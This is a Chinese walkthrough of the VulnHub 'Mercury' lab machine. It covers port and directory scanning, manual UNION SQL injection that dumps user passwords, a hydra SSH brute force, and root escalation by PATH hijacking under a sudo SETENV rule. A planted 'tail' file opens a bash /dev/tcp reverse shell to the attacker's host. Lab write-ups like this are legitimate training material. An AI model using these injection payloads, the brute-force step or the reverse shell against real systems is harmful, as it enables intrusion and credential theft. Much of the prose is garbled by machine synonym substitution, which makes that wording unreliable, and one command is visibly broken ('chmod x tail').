vulnhub:Mercury官方下载
难度:⭐⭐
前言
本系列第4台靶机:Mercury,针对测验网站的渗透思路,主要涉及手艺sql注入以及绑架环境变量、构建伪指令提权的运用方法,其间不乏一些细节上的考量。
侦查
nmap进行端口扫描
在之前3篇靶机精讲平分别介绍了3种不同的方法进行主机发现和端口扫描,例如netdiscover、masscan、nmap甚至还有内置shell指令组成的bash脚本。这里以任何方法进行,以我的靶机IP10.10.10.134
为例。
运用nmap进行端口扫描
sudo nmap -sT -T3 -p- 10.10.10.134
nmap不加sudo
也能够履行,但引荐带上sudo
,管理员权限能够拜访体系的一切资源,能够勘探某些受保护的网络接口和履行某些类型的扫描(例如-O
勘探操作体系);-T3
对标--min-rate 10000
,但前者更智能化一些,能够依据网络状况和操作环境进行实时调整;另外,-sT
能够省掉,当不指定端口类型时,默认是以TCP端口进行扫描。
参阅成果:
┌──(rainbowpigger㉿kali)-[~/mercury]
└─$ sudo nmap -sT -T3 -p- 10.10.10.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-30 23:05 EDT
Nmap scan report for 10.10.10.134
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
MAC Address: 00:0C:29:57:A4:F7 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 14.19 seconds
该靶机只是开放了22和8080端口,最为权重最大的80端口竟然没有开放,但调查到8080端口是有http服务运转的,因而能够考虑从网页下手。
8080端口的信息收集
浏览器拜访8080端口,页面提示出网站正在晋级。一般来说,网站的晋级、维护等非正常运营时期大概率会伴随着信息走漏、缝隙运用等一系列危险,咱们就需求在信息收集全面的基础上对其进行逐渐地剖析和运用。
运用gobuster
进行目录爆炸
sudo gobuster dir -u http://10.10.10.134:8080 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -q
相似的目录爆炸东西还有dirb、dirsearch、dirbuster,甚至能够用wfuzz进行目录或文件的含糊匹配,在后续打靶进程中会逐一用到。
参阅成果:
┌──(rainbowpigger㉿kali)-[~/mercury]
└─$ sudo gobuster dir -u http://10.10.10.134:8080 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -q
/robots.txt (Status: 200) [Size: 26]
扫描速率过慢先行中止,关于一些常见的或许目录咱们只能做一些手动测验,例如/images/
、admin.php
等,发现页面报错
在“错误报告”页面中部走漏出2个要害信息,一个是robots.txt
,其Disallow的内容为根目录;一个是/mercuryfacts/
目录
先拜访mercuryfacts目录,其间展现了2个超链接,先看第一个
在第2篇靶机精讲中提到过,关于web的勘探有3点:源代码、URL、标题。上图所示的URL中,二级目录仅有数字,并且页面显现有id
,就不难想到或许存在sql注入。sql注入缝隙是一个大专题,需求花很多时刻和精力进行研究,在本系列的sql注入中仅展示手艺注入的方法,它能够让咱们对注入流程及其绕过原理发生深度了解。
手艺注入sql缝隙
或许你会有疑问:凭什么有1个数字 有一个id就能判别它存在sql注入缝隙。其实开篇就现已提到了这是一个晋级中的网站,并开启了“错误报告”模式,因而任何语法错误或http报错都有回显。比如咱们在数字后边加一个单引号,URL应该是这样的:
http://10.10.10.134:8080/mercuryfacts/9'
因为不存在9'
这个页面,正常网站是应该返回404状态码的,但因为咱们这个网站的特殊性,因而会返回如下页面
显现“SQL语法错误”,这就为咱们供给了sql注入的机会。
这里有个细节,咱们给它的id值不能为1-8,否则没有显位存余。显位能够经过order by
判别,但在这里,因为每个id对应的fact数据只有1条,因而也不难剖析出字段数为1。
假如各位不论怎样操作页面一直报错,那么大概率是闭合方法判别失误。在判别闭合方法前,首先咱们应该确认id参数的数据类型为字符型(2-1等效于1),闭合方法常见的有无符号、单引号和双引号,经过在或许的闭合方法后增加注释符来确认。例如,当输入http://10.10.10.134:8080/mercuryfacts/9-- -
时,页面回显正常,这就阐明sql查询语句采用的是无符号的闭合类型。
基本逻辑判别完成后,接下来便是注入环节:
- 检查一切数据库:
9 union select schema_name from information_schema.schemata;-- -
得到information_schema
和mercury
两个数据库
- 检查mercury库中的一切表:
9 union select table_name from information_schema.tables where table_schema='mercury';-- -
得到facts
和users
两张表
- 检查users表中的一切字段:
9 union select column_name from information_schema.columns where table_schema='mercury' and table_name='users'
得到id
、username
、password
4个字段
- 检查username中的数据:
9 union select username from mercury.users;-- -
得到john
、laura
、sam
、webmaster
4个数据
- 检查password中的数据:
9 union select password from mercury.users;-- -
得到johnny1987
、lovemykids111
、lovemybeer111
、mercuryisthesizeof0.056Earths
4个数据
至此,数据库的信息就现已被咱们充分拿捏。总结起来,注入进程中因为没有字符过滤等约束,因而十分顺利,但在日后困难级别的靶机中,sql注入必定会结合其他类型的缝隙进行全局研判、综合运用,因而掌握缝隙的底层原理十分有必要。
测验ssh远程登录
关于任何一种状况咱们都需求做好周全的计划,脑中要构建出或许发生的种种状况,例如上述的4组凭证,他们都是用于ssh登录的吗?假如是,那账号和暗码是一一对应的吗?假如不是,咱们就有运用东西解决问题的必要性。
当然,手艺一个一个的去试必定也行,但当数据量大了之后,更引荐运用东西例如hydra
进行自动化操作
hydra -L user.txt -P pass.txt ssh://10.10.10.134
履行指令前,咱们需提前准备好存放有4组凭证的user.txt
和pass.txt
文件。关于hydra
的POST用法,已在甄选靶机精讲系列(一)——Jarbas:你对Jenkins了解多少?中详细论述。
参阅成果:
┌──(rainbowpigger㉿kali)-[~/mercury]
└─$ hydra -L user.txt -P pass.txt ssh://10.10.10.134
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-31 06:32:23
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task
[DATA] attacking ssh://10.10.10.134:22/
[22][ssh] host: 10.10.10.134 login: webmaster password: mercuryisthesizeof0.056Earths
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-03-31 06:32:28
得到webmaster:mercuryisthesizeof0.056Earths
凭证信息,测验ssh登录,拿到体系初始shell
枚举
因为是ssh登录,不需求担心终端交互性的问题。
首先进行当时用户的基本信息枚举
webmaster@mercury:~$ whoami
webmaster
webmaster@mercury:~$ id
uid=1001(webmaster) gid=1001(webmaster) groups=1001(webmaster)
然后进行体系的状态信息枚举
webmaster@mercury:~$ cat /proc/version
Linux version 5.4.0-45-generic (buildd@lgw01-amd64-033) (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #49-Ubuntu SMP Wed Aug 26 13:38:52 UTC 2020
webmaster@mercury:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:57:a4:f7 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.134/24 brd 10.10.10.255 scope global dynamic ens33
valid_lft 1661sec preferred_lft 1661sec
inet6 fe80::20c:29ff:fe57:a4f7/64 scope link
valid_lft forever preferred_lft forever
检查体系内有哪些其他用户
webmaster@mercury:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
mercury:x:1000:1000:mercury:/home/mercury:/bin/bash
webmaster:x:1001:1001:,,,:/home/webmaster:/bin/bash
linuxmaster:x:1002:1002:,,,:/home/linuxmaster:/bin/bash
运用sudo -l
检查有无文件能够以root身份履行;运用cat /etc/crontab
检查体系有无定时使命;运用ls -l /home
检查有无其他用户家目录的检查权限;运用ls -la ~
检查当时用户家目录下有无非常规文件。最终,在/mercury_proj/
目录下发现有notes.txt
文件,其间存储着linuxmaster的base64格局用户暗码。
运用base64指令进行解密
┌──(rainbowpigger㉿kali)-[~/mercury]
└─$ echo "bWVyY3VyeW1lYW5kaWFtZXRlcmlzNDg4MGttCg==" | base64 -d
mercurymeandiameteris4880km
看用户名字也知道,linuxmaster在体系内的权限会比webmaster高一些
测验切换用户
webmaster@mercury:~/mercury_proj$ su - linuxmaster
Password:
linuxmaster@mercury:~$
切换用户会导致咱们所具有的权限发生变化,因而需求从头走一遍枚举流程
linuxmaster@mercury:~$ sudo -l
[sudo] password for linuxmaster:
Matching Defaults entries for linuxmaster on mercury:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User linuxmaster may run the following commands on mercury:
(root : root) SETENV: /usr/bin/check_syslog.sh
第7行是令人感兴趣的内容,一般状况下的用户权限为NOPASSWORD
,而这里是SETENV
,因而提权必定是围绕着check_syslog.sh
文件打开的
SETENV
表明check_syslog.sh
文件能够运用修正后的环境变量以root身份履行,否则以secure_path
环境变量履行。运用时需求加上--preserve-env
选项。
已然能够不受secure_path
的约束,那咱们就能够经过绑架环境变量、构建伪指令完成提权。跟前3台靶机相比,这种提权思路在本质上是相同的,只不过多了修正PATH这一过程。
先检查check_syslog.sh
内容,确定伪指令对象
linuxmaster@mercury:~$ cat /usr/bin/check_syslog.sh
#!/bin/bash
tail -n 10 /var/log/syslog
tail
即是咱们的方针指令,至于履行的是哪个文件不重要。
因为咱们在该用户家目录下构建tail文件,因而需求将该目录增加进环境变量中
linuxmaster@mercury:~$ export PATH=/home/linuxmaster:$PATH
linuxmaster@mercury:~$ echo $PATH
/home/linuxmaster:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
当一个指令或可履行文件被履行时,体系会在PATH中定义的途径中顺次寻找是否存在该文件,因而,咱们将/home
途径增加在最前面,当tail指令履行时,体系按顺序查找就会先调用/home/linuxmaster
下的tail文件。
接下来咱们将在用户家目录下创建tail文件,写入bash反弹语句,并赋予履行权限
linuxmaster@mercury:~$ touch tail
linuxmaster@mercury:~$ echo 'bash -c "bash -i >& /dev/tcp/10.10.10.128/1000 0>&1"' > tail
linuxmaster@mercury:~$ cat tail
bash -c "bash -i >& /dev/tcp/10.10.10.128/1000 0>&1"
linuxmaster@mercury:~$ chmod x tail
此时,当咱们以sudo履行check_syslog.sh
文件时,体系就会在环境变量中顺次寻找tail可履行文件,最终会将home目录下的tail文件以root身份履行,不出意外,kali中将收到rootshell。
sudo --preserve-env=PATH /usr/bin/check_syslog.sh
履行sudo时需求加上--preserve-env=PATH
保存PATH环境变量,需求留意的是,此选项作为单独的权限颗粒度独立于sudo权限之外,需求sudo -l
的成果中指定有SETENV
才具有该选项的履行权限。
履行后,kali中出现以下响应即提权成功
┌──(rainbowpigger㉿kali)-[~/mercury]
└─$ nc -lvp 1000
listening on [any] 1000 ...
10.10.10.134: inverse host lookup failed: Unknown host
connect to [10.10.10.128] from (UNKNOWN) [10.10.10.134] 51466
root@mercury:/home/linuxmaster#
结语
这台靶机一反常态,没有暴显露80端口,但万变不离其宗,http服务仍在照常运转就有攻击面存在。在提权阶段,咱们没有将伪指令构建在/tmp
目录下,论挑选哪个途径作为方针目录,其实也是依据当时用户所具有的权限来进行抉择的;假如各位留意调查syslog
的输出成果就能够发现,在成果的第1行便是清除/tmp
目录下的一切临时文件,因而咱们将方针途径选在家目录下是明智之举。
假如各位读者有任何与本台靶机相关的疑问或许有更好的见解,欢迎随时在评论区留言,我将诚挚回复!、
系列精彩文章
# 甄选靶机精讲系列(一)——Jarbas:你对Jenkins了解多少?